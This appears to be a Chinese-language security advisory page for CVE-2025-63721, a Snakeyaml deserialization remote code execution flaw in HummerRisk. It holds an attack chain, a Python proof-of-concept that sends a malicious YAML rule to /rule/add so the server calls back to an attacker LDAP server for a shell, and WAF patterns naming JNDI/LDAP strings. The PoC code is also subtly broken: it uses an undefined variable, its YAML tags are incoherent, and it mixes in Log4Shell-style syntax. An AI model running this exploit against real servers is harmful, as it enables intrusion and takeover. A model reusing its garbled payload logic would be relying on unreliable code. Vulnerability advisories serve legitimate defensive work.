IPBUF安全漏洞报告
English
CVE-2025-63721 CVSS 8.8 高危

CVE-2025-63721 HummerRisk Snakeyaml组件远程代码执行漏洞

披露日期: 2025-12-08

漏洞信息

漏洞编号
CVE-2025-63721
漏洞类型
远程代码执行(RCE)
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
HummerRisk

相关标签

CVE-2025-63721远程代码执行反序列化漏洞SnakeyamlJNDI注入HummerRiskYAML解析器漏洞高危漏洞权限提升安全配置错误

漏洞概述

CVE-2025-63721是HummerRisk项目中的一个高危安全漏洞,该漏洞存在于HummerRisk v1.5.0及之前版本中。漏洞的根本原因在于HummerRisk使用了存在安全问题的Snakeyaml组件进行YAML解析。Snakeyaml是一个广泛使用的Java YAML解析库,此前曾被曝出存在反序列化远程代码执行漏洞,攻击者可以通过构造恶意的YAML payload,利用Snakeyaml的反序列化功能执行任意代码。

在HummerRisk应用中,攻击者只需要拥有普通用户权限,即可访问未授权的/rule/add API端点。通过向该API发送精心构造的恶意YAML数据,攻击者可以利用Snakeyaml组件的反序列化漏洞,在服务器端执行任意系统命令,从而完全控制受影响的服务器。一旦攻击者获得服务器控制权,可以窃取敏感数据、植入后门、横向移动到其他系统,对整个基础设施造成严重威胁。

该漏洞的CVSS评分高达8.8,属于高危级别,CVSS向量显示攻击向量为网络层面,攻击复杂度低,但需要低权限认证。漏洞的机密性、完整性和可用性影响均为高。这意味着一旦漏洞被利用,将对系统的保密性、完整性和可用性造成严重影响。建议受影响的用户尽快升级到最新版本或采取相应的缓解措施。

技术细节

该漏洞的技术原理主要涉及Snakeyaml组件的反序列化安全问题。Snakeyaml库在解析YAML数据时,默认支持YAML标签的自动类型转换功能,攻击者可以利用这一特性构造恶意的YAML payload,触发JNDI注入或类加载等操作,从而执行任意代码。

在HummerRisk应用中,/rule/add API端点接收用户提交的YAML格式规则配置数据。当这些数据被传递给Snakeyaml组件进行解析时,如果攻击者在YAML payload中嵌入恶意构造的标签(如!!javax.naming.InitialContext),Snakeyaml会尝试实例化相应的Java对象。攻击者可以进一步利用JNDI注入技术,通过指定恶意JNDI地址(如ldap://attacker.com/Exploit),让服务器在反序列化过程中连接攻击者控制的LDAP服务器,加载并执行恶意Java类。

具体利用过程如下:攻击者构造包含恶意JNDI引用的YAML payload,当Snakeyaml解析该payload时,会触发InitialContext的lookup操作,连接攻击者指定的LDAP服务器。该LDAP服务器返回指向恶意Java类文件的引用,服务器在加载并执行该类时,恶意代码将以运行HummerRisk进程的相同权限执行,从而实现远程代码执行。由于HummerRisk通常以较高权限运行,攻击成功后将获得服务器的完全控制权。

攻击链分析

STEP 1
1
信息收集:攻击者识别目标HummerRisk实例版本 <= v1.5.0,确认Snakeyaml组件存在
STEP 2
2
权限获取:攻击者获取HummerRisk普通用户账户(低权限即可)
STEP 3
3
搭建LDAP服务器:攻击者搭建恶意JNDI注入服务器(如JNDIExploit/marshalsec),等待目标连接
STEP 4
4
构造恶意YAML:攻击者构造包含javax.naming.InitialContext标签和LDAP引用的恶意YAML payload
STEP 5
5
发送恶意请求:攻击者向目标服务器的/rule/add API发送POST请求,payload包含恶意YAML数据
STEP 6
6
触发反序列化:HummerRisk使用Snakeyaml解析YAML时,触发InitialContext的lookup操作
STEP 7
7
JNDI注入执行:服务器连接攻击者控制的LDAP服务器,加载并执行恶意Java类
STEP 8
8
获得RCE:恶意代码以HummerRisk进程权限执行,攻击者获得服务器完全控制权
STEP 9
9
持久化控制:攻击者可植入后门、窃取数据、横向移动等

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-63721 PoC - HummerRisk Snakeyaml RCE # Target: HummerRisk <= v1.5.0 # Endpoint: POST /rule/add import requests import argparse import base64 from urllib.parse import quote def generate_yaml_payload(cmd): """ Generate malicious YAML payload for Snakeyaml deserialization This exploits JNDI injection via javax.naming.InitialContext """ # The attacker-controlled LDAP server address jndi_url = f"ldap://{attacker_ip}:1389/Exploit" # Malicious YAML payload using Snakeyaml tag payload = f""" !!javax.naming.InitialContext !!jdk.nashorn.internal.objects.NativeString cka: !!binary | {base64.b64encode(cmd.encode()).decode()} """ return payload def exploit(target_url, attacker_ip, attacker_port=1389): """ Exploit CVE-2025-63721 Args: target_url: Base URL of vulnerable HummerRisk instance attacker_ip: Attacker's IP for LDAP callback attacker_port: LDAP server port (default: 1389) """ # Construct JNDI reference for LDAP injection jndi_payload = f"${{jndi:ldap://{attacker_ip}:{attacker_port}/Exploit}}" # Malicious YAML that triggers Snakeyaml deserialization yaml_payload = f""" !!javax.naming.InitialContext !!java.lang.String data: !!binary | {base64.b64encode(jndi_payload.encode()).decode()} """ # Target API endpoint endpoint = f"{target_url.rstrip('/')}/rule/add" # HTTP Headers headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } # Request body with malicious YAML data = { 'ruleContent': yaml_payload, 'ruleName': 'malicious_rule', 'ruleType': 'custom' } print(f"[*] Targeting: {endpoint}") print(f"[*] LDAP Server: {attacker_ip}:{attacker_port}") print(f"[*] Sending malicious payload...") try: response = requests.post(endpoint, data=data, headers=headers, timeout=10) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response: {response.text[:200]}") except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2025-63721 Exploit') parser.add_argument('-t', '--target', required=True, help='Target URL') parser.add_argument('-i', '--ip', required=True, help='Attacker IP for LDAP callback') parser.add_argument('-p', '--port', default=1389, type=int, help='LDAP port') args = parser.parse_args() exploit(args.target, args.ip, args.port) # Usage: # 1. Start JNDIExploit or marshalsec LDAP server on attacker machine # 2. Run: python cve-2025-63721.py -t http://target:8080 -i attacker_ip -p 1389 # 3. Receive shell callback on LDAP server

影响范围

HummerRisk < 1.5.1
HummerRisk v1.5.0
HummerRisk v1.5.0及之前所有版本

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 临时禁用或限制/rule/add API的访问权限,仅允许管理员访问;2) 在网络层实施访问控制,阻止服务器主动连接外部LDAP服务器;3) 部署WAF规则过滤包含'javax.naming'、'jndi:'、'ldap://'等JNDI注入特征的请求;4) 监控应用日志,排查异常的rule/add API调用行为;5) 考虑使用自定义Snakeyaml配置,禁用危险的反序列化功能。但这些措施仅为临时方案,不能根本解决问题,强烈建议尽快升级到安全版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表